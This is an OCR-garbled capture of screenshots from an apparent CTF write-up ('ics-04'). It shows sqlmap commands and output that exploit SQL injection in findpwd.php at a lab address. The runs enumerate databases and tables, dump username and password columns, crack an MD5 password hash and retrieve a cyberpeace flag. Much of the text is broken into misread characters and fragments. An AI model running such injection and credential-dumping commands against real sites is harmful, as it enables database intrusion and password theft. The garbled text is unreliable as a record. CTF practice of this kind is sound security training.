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Findpwd. php

lity to
ocal, st edera . De er ume no 1i
e not responsible for

[*] starting @ 09

[ ] [INFO] resuming back-end DBMS 'mysgl’

[ ] [INFO] testing connection to the target URL

[ ] [INFO] heuristics detected web page charset ‘"utf

you have not declared cookie(s), while server wants to set its o)y ('PHPSESS
ID=uuqno7r3nqo ... rbekfj8de@’ ). Do you want to use those [Y/n] vy

sglmap resumed the following injection point(s) from stored session:

d blind
5.0.12 Al
" AND

EITM'="EI1M

sglmap -u "http://220.249.52.133:52962/findpwd.php" --data "username D cetcoo4 tables

47,0%716a787071) ,NULL— -

] [INFO] the back-end DBMS is MySaQL
ack-end DBEMS: MySQL = 5.0.
] fetching
] resumed:
] resumed:

av

[*]

[*#*] information_schema
[*] mysql

[*#] performance_schema

o text files under '/hom

$ sglmap -u "lhttp
4 - -tables

ets without prior mu

I“SDBHSibiliﬁﬁf;PhﬁﬂjV‘?ﬁ%r@ﬂﬂ{“

sqlmap -u "http://220.249.52.133:52962/findpwd.php" --data "username=1" -D cetc@@4 -T user columns




[ ] [INFO] the back-end DBMS is MySQL
back-end DBMS QL = 5.8.12

[ 1

Database:

[1 tabl

o text files under °/hom

Mm% sqglmap -u "lhttp L249, 29¢ indpwd.php

-D ce

glmap for a

he end u responsibility
opers assume no liabilit

caused by this pro

[*] starting @ @9 -10-85/

ata "username=1" -D cetc@@4 -T us C "username, passwon

I MysqL 5.8.12
FO] fetching columns for
resumed:
resumed:
resumed:
resumed:

4

password
answe

question
username

o——— e —

=

log.csdn.net/HY

5.5 0K



EeEc

using
using

= -

using
using
using
using
using
using
using
cra

using
using
using

E =

= =

1"
=

for user "yibodong

E =
= —h h W —h —hh hh —hh h ch ke h h -k
T .

2

[ T = R I I O I ¥ R O T IO
= =
= —h T —h —h —h —h h h h b h h h h h

4

dumped to CSV fil

/dump/ X
. dn.netHY

A MNEIENE I 44 c3twDmin23

[2] custom dictionary file

[3] file with list of dictionary files

>

[ ] [INFO] using default dictionary

do you want to use common password suffixes? (slow!) [y/N] y

[ I tarting dictionary-based cracking (md5_generic_passwd)

[ =3 = = — i ]

L T T Y O T T T O O o I I ¥
[ =3 - Y =~ —

— —h —h i —h —h —h —h —h —h —h —h —h

— —h —h —hh —h —h —h —h —h —h —h —h

=

5
5
u
u
u
u
u
u
u
u
u
u
u
u
u

T:
5
5
5
5
5
5
5
5
5
5
5
5
5

=

M2 mdS i LB, (EIXAN T RS BOE BT oK .

6. HRAMAM 48 yibodong, I HBH ik bt 7IEM WA, HESENR 4 c3tiwDmIn23 i 7



1510
BPE c3twDmin23

=5

EHRAE {FEE6

=ERES 6

7. HEx—>flagii ik 1

WILE
BRE EEA

=i EEAEE

EIC=157 cyberpeace(fafo4ih8f17053c68a7672794das7298]

8. OK

cyberpeace{f3f54fb8f17053c68a7672794dae7e98}




	CTF ics-04

